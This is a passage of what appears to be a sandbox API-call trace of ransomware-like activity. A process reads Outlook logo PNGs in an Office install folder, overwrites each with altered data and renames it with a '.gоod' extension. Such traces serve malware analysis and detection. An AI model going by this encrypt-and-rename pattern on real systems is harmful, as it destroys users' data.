lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x63 [0263.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0263.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0263.465] GetFileType (hFile=0x828) returned 0x1 [0263.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0263.465] GetFileType (hFile=0x828) returned 0x1 [0263.465] WriteFile (in: hFile=0x828, lpBuffer=0x3c5b028*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3c5b028*, lpNumberOfBytesWritten=0x1fcee148*=0x9d0, lpOverlapped=0x0) returned 1 [0263.465] CloseHandle (hObject=0x828) returned 1 [0263.466] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x63 [0263.466] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x68 [0263.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0263.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9940bb3d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9d0)) returned 1 [0263.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0263.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-100.png.gоod")) returned 1 [0263.467] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x63 [0263.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0263.467] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3c5c370 | out: lpFileInformation=0x3c5c370*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd8b)) returned 1 [0263.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0263.467] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x63 [0263.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0263.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0263.467] GetFileType (hFile=0x828) returned 0x1 [0263.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0263.467] GetFileType (hFile=0x828) returned 0x1 [0263.467] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xd8b [0263.468] ReadFile (in: hFile=0x828, lpBuffer=0x3c5d488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3c5d488*, lpNumberOfBytesRead=0x1fcee238*=0xd8b, lpOverlapped=0x0) returned 1 [0263.941] CloseHandle (hObject=0x828) returned 1 [0265.097] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x63 [0265.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0265.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0265.099] GetFileType (hFile=0x828) returned 0x1 [0265.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0265.099] GetFileType (hFile=0x828) returned 0x1 [0265.099] WriteFile (in: hFile=0x828, lpBuffer=0x37e17c0*, nNumberOfBytesToWrite=0xd90, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37e17c0*, lpNumberOfBytesWritten=0x1fcee148*=0xd90, lpOverlapped=0x0) returned 1 [0265.099] CloseHandle (hObject=0x828) returned 1 [0265.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x63 [0265.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x68 [0265.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0265.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a38ec2f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd90)) returned 1 [0265.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0265.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-140.png.gоod")) returned 1 [0265.101] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x63 [0265.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0265.101] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x37e2b08 | out: lpFileInformation=0x37e2b08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e3)) returned 1 [0265.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0265.102] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x63 [0265.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0265.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0265.102] GetFileType (hFile=0x828) returned 0x1 [0265.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0265.102] GetFileType (hFile=0x828) returned 0x1 [0265.102] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0265.103] ReadFile (in: hFile=0x828, lpBuffer=0x37e3000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x37e3000*, lpNumberOfBytesRead=0x1fcee2d8*=0xe3, lpOverlapped=0x0) returned 1 [0265.341] CloseHandle (hObject=0x828) returned 1 [0265.341] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x63 [0265.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0265.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0265.369] GetFileType (hFile=0x828) returned 0x1 [0265.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0265.369] GetFileType (hFile=0x828) returned 0x1 [0265.369] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x10e3 [0265.369] WriteFile (in: hFile=0x828, lpBuffer=0x386c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x386c320*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0265.369] CloseHandle (hObject=0x828) returned 1 [0265.369] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x63 [0265.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0265.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0265.370] GetFileType (hFile=0x828) returned 0x1 [0265.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0265.370] GetFileType (hFile=0x828) returned 0x1 [0265.370] ReadFile (in: hFile=0x828, lpBuffer=0x386e650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x386e650*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0265.382] CloseHandle (hObject=0x828) returned 1 [0265.382] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x63 [0265.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0265.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0265.382] GetFileType (hFile=0x828) returned 0x1 [0265.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0265.382] GetFileType (hFile=0x828) returned 0x1 [0265.382] WriteFile (in: hFile=0x828, lpBuffer=0x386d338*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x386d338*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0265.382] CloseHandle (hObject=0x828) returned 1 [0265.382] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x63 [0265.383] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x68 [0265.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0265.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a63d501, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10f3)) returned 1 [0265.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0265.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-180.png.gоod")) returned 1 [0265.384] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x62 [0265.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0265.384] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x38eade0 | out: lpFileInformation=0x38eade0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a4)) returned 1 [0265.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0265.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x62 [0265.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0265.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0265.385] GetFileType (hFile=0x828) returned 0x1 [0265.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0265.385] GetFileType (hFile=0x828) returned 0x1 [0265.385] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x8a4 [0265.385] ReadFile (in: hFile=0x828, lpBuffer=0x38eba00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38eba00*, lpNumberOfBytesRead=0x1fcee238*=0x8a4, lpOverlapped=0x0) returned 1 [0265.386] CloseHandle (hObject=0x828) returned 1 [0265.397] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x62 [0265.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0265.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0265.398] GetFileType (hFile=0x828) returned 0x1 [0265.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0265.398] GetFileType (hFile=0x828) returned 0x1 [0265.398] WriteFile (in: hFile=0x828, lpBuffer=0x3965d38*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3965d38*, lpNumberOfBytesWritten=0x1fcee148*=0x8b0, lpOverlapped=0x0) returned 1 [0265.399] CloseHandle (hObject=0x828) returned 1 [0265.399] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x62 [0265.399] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x67 [0265.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0265.399] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a6635c1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8b0)) returned 1 [0265.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0265.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-80.png.gоod")) returned 1 [0265.400] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x63 [0265.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0265.400] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3967070 | out: lpFileInformation=0x3967070*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bd)) returned 1 [0265.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0265.401] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x63 [0265.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0265.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0265.401] GetFileType (hFile=0x828) returned 0x1 [0265.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0265.401] GetFileType (hFile=0x828) returned 